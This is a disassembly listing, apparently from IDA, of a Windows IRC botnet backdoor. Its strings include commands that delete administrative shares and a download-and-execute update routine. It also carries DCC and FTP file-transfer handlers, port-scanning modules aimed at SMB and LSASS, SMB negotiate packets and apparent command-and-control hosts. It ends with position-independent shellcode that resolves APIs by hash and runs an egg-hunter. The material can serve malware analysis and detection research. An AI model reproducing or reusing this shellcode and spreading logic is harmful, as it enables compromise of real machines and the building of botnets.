; sub_404C30+B58o ...
align 10h
asc_444600: ; DATA XREF: sub_404600:loc_4046DFo
; sub_404600+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404600+75o
; sub_40FE30:loc_410819o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_444684 dd 255C7325h, 73h ; sub_40D030+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C30+D72o
align 8
aN: ; DATA XREF: sub_404C30+D1Do
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C30+971o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C30+75Co
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C30+6CFo
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C30+610o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404C30+444o
; sub_41C130+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404C30+1A3o
; sub_404C30+9ABo ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066A0+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_406850+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406850+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_406850:loc_40694Bo
a2003 db '2003',0 ; DATA XREF: sub_406850+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_406850+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_406850+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_406850+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_406850+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_406850+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_406850+9Co
align 4
aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do
; ___:00406E85o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o
; sub_40ECF0+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o
dd 0
dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:0040879Co ...
dword_4447F8 dd 2Eh ; ___:0041B2AAo ...
aMicrosoftVisua db 'MicroSoft Visual SP',0 ; DATA XREF: sub_4077E0+403o
dd 0
aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o
align 4
aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o
align 4
aSet db 'set',0 ; DATA XREF: sub_4077E0+359o
asc_444830 db 'X-',0 ; DATA XREF: sub_4077E0+348o
align 4
aAydassklfsdsew db 'aydassklfsdsewrlkwel',0 ; DATA XREF: sub_4077E0+337o
align 10h
aIgxdfdfds_com db 'igxdfdfds.com',0 ; DATA XREF: sub_4077E0+326o
align 10h
aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o
align 4
off_444868 dd offset byte_582323 ; DATA XREF: sub_4077E0+307o
dword_44486C dd 23582323h, 23ha9890 db '9890',0 ; DATA XREF: sub_4077E0+29Bo
align 4
aF_unicat_org db 'f.unicat.org',0 ; DATA XREF: sub_4077E0+283o
align 10h
off_444890 dd offset off_43F1D4 ; DATA XREF: ___:00440014o
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_4448B0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_4448D8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409650+21o
; ___:0040AA41o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B750+3Fo
; sub_40B7D0+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B86Fo
align 10h
aFalse db 'false',0 ; DATA XREF: ___:0040B914o
align 4
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC2Ao
align 10h
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB47o
align 10h
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA81o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040B9F4o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4D0+52Ao
align 4
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C4D0+48Ao
align 10h
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4D0+377o
align 10h
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4D0+327o
align 10h
dword_444A00 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C4D0+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4D0+230o
align 4
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4D0+218o
align 8
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4D0+1BBo
align 8
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4D0+110o
align 8
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4D0+B8o
align 10h
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC80+1B1o
dd 0
asc_444AD4: ; DATA XREF: sub_40CC80+113o
; sub_4200F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D030+115o
align 4
aS_1 db '%s\*',0 ; DATA XREF: sub_40D030+1Fo
align 10h
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D549o
align 10h
aBai_0 db ' -bai ',0
align 4
aSCS db '%s%c%s',0
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D650+D1o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D650+C4o
align 10h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D650+B7o
align 10h
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D650+AFo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D650+98o
align 10h
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC10+4D3o
align 4
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC10+37Co
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE30+6Ao
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE30+21o
; sub_40F050+Ao ...
align 4
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F501o
align 10h
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F444o
align 10h
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F349o
align 8
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F29Do
align 10h
dd 0
asc_444C54 db ' :',0 ; DATA XREF: sub_40FE30+E2Bo
; sub_40FE30+1118o ...
align 4
asc_444C58: ; DATA XREF: sub_40FE30+CACo
; sub_40FE30+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_40FE30:loc_4107F8o
; sub_40FE30:loc_410A87o
aS_2 db ' -s',0 ; DATA XREF: sub_40FE30:loc_4107CFo
; sub_40FE30:loc_410A66o
asc_444C64: ; DATA XREF: sub_40FE30+871o
; sub_40FE30:loc_410AA8o ...
unicode 0, <:>,0
a@: ; DATA XREF: sub_40FE30+7CCo
; sub_40FE30+D2Do ...
unicode 0, <@>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FE30+65Do
; sub_40FE30+732o ...
align 4
dd 0
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FE30+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 8
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FE30+2C4o
; sub_4122D0+91o ...
align 8
aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+4E3o
align 4
aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+386o
; sub_426070+12Do ...
align 10h
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+CBo
; sub_412590+8Fo
align 10h
aPublic db '[PUBLIC]',0 ; DATA XREF: sub_4122D0:loc_4123DBo
align 4
aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_4122D0+104o
align 4
a_ db '. ',0 ; DATA XREF: sub_4122D0+CAo
; sub_4122D0+E5o
align 4
aLan db 'lan: ',0 ; DATA XREF: sub_4122D0+AEo
align 4
aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FE7o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412F94o
align 4
aId db 'id',0 ; DATA XREF: ___:loc_412F3Ao
align 4
asc_444D08: ; DATA XREF: ___:loc_412F23o
dw 3Ch
unicode 0, <>,0
asc_444D0C: ; DATA XREF: ___:loc_412F0Co
dw 3Eh
unicode 0, <>,0
asc_444D10 db '==',0 ; DATA XREF: ___:loc_412EF5o
align 4
asc_444D14 db '!=',0 ; DATA XREF: ___:00412EE1o
align 4
a2_2x db '%2.2X',0 ; DATA XREF: sub_4138A0+B7o
align 10h
aSS_6 db '%s: %s',0 ; DATA XREF: sub_419300+321o
align 4
aSD_0 db '%s: %d',0 ; DATA XREF: sub_419300+2F9o
align 10h
aSD_1 db '%s:%d',0 ; DATA XREF: sub_419300+284o
; sub_419300+2ADo
align 4
aListening db 'listening',0 ; DATA XREF: sub_419300+222o
align 4
aEstablished db 'established',0 ; DATA XREF: sub_419300+217o
dd 0
off_444D54 dd offset dword_504354 ; DATA XREF: sub_419300+152o
; ___:0042C5F2o ...
dword_444D58 dd 2D464544h, 504354h, 0 ; sub_419300+140o
dword_444D64 dd 652Dh dword_444D68 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
align 10h
dd 0
aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo
align 4
byte_444DA4 db 1 ; DATA XREF: sub_41A390r
align 4
dword_444DA8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------
loc_444DF4: ; DATA XREF: ___:00421759o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_444E08 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54 dd 63257325h, 0 ; sub_41F860+E5o
dword_444E5C dd 72h dword_444E60 dd 30h ; sub_424920+327o
dword_444E64 dd 3039h dword_444E68 dd 383631h dword_444E6C dd 323931h dword_444E70 dd 3631h dword_444E74 dd 323731h dword_444E78 dd 3031h off_444E7C dd offset dword_5C005C ; DATA XREF: ___:0041C217r
; ___:0041C387r
word_444E80 dw 0 ; DATA XREF: ___:0041C221r
; ___:0041C391r
align 4
off_444E84 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r
; ___:0041C356r
off_444E88 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr
; ___:0041C35Br
dword_444E8C dd 24h ; ___:0041C37Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o
align 8
asc_444EC8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo
db 0Dh,0Ah,0
align 10h
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o
align 10h
aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o
; ___:0041FC87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o
align 4
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo
align 10h
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo
align 10h
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo
dd 0
dword_444FCC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC dd 6469706Bh, 7325203Ah, 0dword_444FE8 dd 203A736Bh, 7325hdword_444FF0 dd 202E6425h, 7325202Fh, 0dword_444FFC dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
align 10h
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o
; sub_41EF30+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o
; sub_41EF30+677o
align 10h
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41EF30+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo
align 10h
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o
; sub_41EF30+51Ao
align 4
asc_445078: ; DATA XREF: sub_41EF30+2EFo
; sub_41EF30+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o
; sub_41EF30+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o
; sub_41EF30+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o
; sub_41EF30+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o
; sub_41EF30+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
align 8
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
align 4
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o
; sub_420530+C4r ...
align 10h
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo
; sub_4207E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
; sub_4207E0+2BEo
align 8
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
align 8
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o
align 10h
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o
; sub_420530+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
align 10h
aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o
align 10h
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo
align 10h
aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do
align 8
aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o
align 10h
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co
align 8
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo
align 10h
aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o
align 8
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo
align 4
off_4452F4 dd offset word_616C4E ; DATA XREF: sub_4207E0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o
align 10h
aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo
align 4
off_44530C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
align 10h
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o
align 10h
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
align 10h
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o
align 8
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o
; sub_4207E0:loc_420A6Bo
align 10h
asc_4453E0: ; DATA XREF: sub_420E10:loc_420ECFo
; sub_420E10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o
; sub_420E10:loc_42107Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420E10+84o
; sub_420E10+257o ...
align 10h
aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_445418 dd 1BDh ; sub_422B40+310o ...
off_44541C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr
dword_445420 dd 0 ; sub_4236F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401820h, 0
dd 1, 0
aNet445 db 'net445',0
align 10h
dd 656E0000h, 35343474h, 6 dup(0)
dd 1BDh, 402199h, 0
dd 1, 0
aLsass db 'lsass',0
align 4
dd 736C0000h, 737361h, 6 dup(0)
dd 1BDh, 401DCAh, 0
dd 1, 1Fh dup(0)
aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422B40+8F3o
db 0
align 4
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o
align 8
aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo
align 10h
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
align 4
dd 0
off_4455DC dd offset dword_622D20 ; DATA XREF: sub_422B40+747o
off_4455E0 dd offset asc_612D20 ; DATA XREF: sub_422B40+737o
; sub_422B40+7A3o ...
; "ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ"...
dword_4455E4 dd 722D20h ; sub_422B40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
align 10h
aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
align 10h
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
align 8
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
align 8
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
align 10h
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
align 8
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do
align 4
dd 0
dword_4456DC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
align 10h
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
; ___:off_447670o
align 8
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
align 10h
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423DD6o
align 10h
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004242B7o
align 4
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424206o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042414Fo
dd 3 dup(0)
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo
align 10h
dword_4458A0 dd 10FF8h, 0 dword_4458A8 dd 10FF8h dword_4458AC dd 7FFDF020h, 0 dword_4458B4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44593C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_44596C dd 0 dword_445970 dd 800000D4h align 8
; =============== S U B R O U T I N E =======================================
sub_445978 proc near ; DATA XREF: sub_425100+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_445A74
push dword ptr [esi]
push 63D61209h
call sub_445A8A
mov [esi+8], eax
call sub_445A3D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_445A8A
mov [esi+0Ch], eax
call sub_4459EF
push dword ptr [esi+4]
push 4C0297FAh
call sub_445A8A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_445978 endp
; =============== S U B R O U T I N E =======================================
sub_4459EF proc near ; CODE XREF: sub_445978+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_445A18
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4459EF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A18 proc near ; CODE XREF: sub_4459EF+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_445A27: ; CODE XREF: sub_445A18+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_445A34
inc ebx
jmp short loc_445A27
; ---------------------------------------------------------------------------
loc_445A34: ; CODE XREF: sub_445A18+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_445A18 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A3D proc near ; CODE XREF: sub_445978+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_445A55: ; CODE XREF: sub_445A3D+1Ej
cmp [ecx], ebx
jz short loc_445A5D
mov ecx, [ecx]
jmp short loc_445A55
; ---------------------------------------------------------------------------
loc_445A5D: ; CODE XREF: sub_445A3D+1Aj
mov edx, edi
loc_445A5F: ; CODE XREF: sub_445A3D+2Aj
cmp [edx+4], ebx
jz short loc_445A69
mov edx, [edx+4]
jmp short loc_445A5F
; ---------------------------------------------------------------------------
loc_445A69: ; CODE XREF: sub_445A3D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_445A3D endp
; =============== S U B R O U T I N E =======================================
sub_445A74 proc near ; CODE XREF: sub_445978+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_445A74 endp
; =============== S U B R O U T I N E =======================================
sub_445A8A proc near ; CODE XREF: sub_445978+16p
; sub_445978+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_445AA0: ; CODE XREF: sub_445A8A+33j
jecxz short loc_445ADA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_445AAD: ; CODE XREF: sub_445A8A+2Dj
lodsb
cmp al, ah
